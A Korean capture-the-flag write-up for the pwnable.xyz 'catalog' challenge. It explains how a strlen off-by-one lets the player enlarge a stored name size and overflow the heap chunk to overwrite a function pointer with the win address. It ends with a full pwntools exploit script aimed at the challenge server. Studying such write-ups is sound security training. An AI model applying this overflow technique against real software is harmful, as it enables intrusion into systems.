문제 풀이 환경 : Ubuntu 16.04
(간단한 평, 안 적어도 무방)
📝 Analysis
<< Mitigation >>
<< Code >>
· main
누가 봐도 3번 메뉴에서 부르는 함수의 포인터를 조작해서 호출해주는 게 목표다.
그렇다면 이용할 수 있는 건 write_name, edit_name 함수라고 판단되며, 살펴보자.
· write_name
0x30 크기의 chunk를 할당하고 그 안에서 사용자가 이름을 입력하게 한다.
입력 크기는 처음 만들 당시에는 하드 코딩된 사이즈인 0x20만큼 입력하고 edit_name 함수로 저장한다.
이후 사용자가 입력한 크기를 다시 조사하여 그 크기를 저장한다.
· edit_name
전달받은 포인터에서 안에 저장된 크기만큼 입력한다.
✨ Thinking
edit_name 함수에서 name size에 저장된 크기만큼 읽어서 name의 시작 부분부터 저장해준다.
그 말인즉슨, name size의 크기를 조정할 수만 있다면 func ptr을 덮어서 win 함수를 호출하는 게 가능하다는 뜻이다.
그렇다면 어떻게 name size를 고칠까.
위에 코드에서도 주석으로 표시해놨듯이 write_name 함수 내 strlen이 취약하다.
strlen 함수는 주어진 인자의 주소부터 null byte가 나올 때까지의 길이를 리턴하는 함수다.
그렇다면 우리가 처음에 0x20 크기만큼 꽉 채워서 주게 된다면 read 함수는 맨 뒤에 null을 붙이지 않을 테고 strlen이 검사할 때 0x20 부분까지 포함해서 읽기 때문에 0x21을 리턴하고 저장하게 될 것이다!
이후에는 간단하다. edit_name 함수 메뉴를 호출해서 size를 임의로 1Byte 수정해주면 된다(ex. 0xff). OOB 취약점이다.
그리고 다시 edit_name을 부른다면 내가 설정한 크기만큼 입력할 수 있게 돼서 func ptr을 수정할 수 있게 된다.
🧩 Exploit Scenario
1. name 꽉 채워서 (0x20) 주기
2. edit_name 불러서 name size 조정해주기
3. 다시 edit_name 불러서 func ptr 수정하기
4. main에서 3번 메뉴 불러주기 -> win 함수 호출
🚩 Flag 🚩
from pwn import *
# context.log_level = 'debug'
# p = process('./catalog')
p = remote('svc.pwnable.xyz', 30023)
def write(name):
p.sendlineafter('> ', '1')
p.sendafter('name: ', name)
def edit(idx, name):
p.sendlineafter('> ', '2')
p.sendlineafter('index: ', str(idx))
p.sendafter('name: ', name)
write('A' * 0x20)
edit(0, 'A' * 0x20 + '\xff')
edit(0, b'A' * 0x28 + p64(0x40092C) + b'\n')
p.sendlineafter('> ', '3')
p.sendlineafter('index: ', '0')
p.interactive()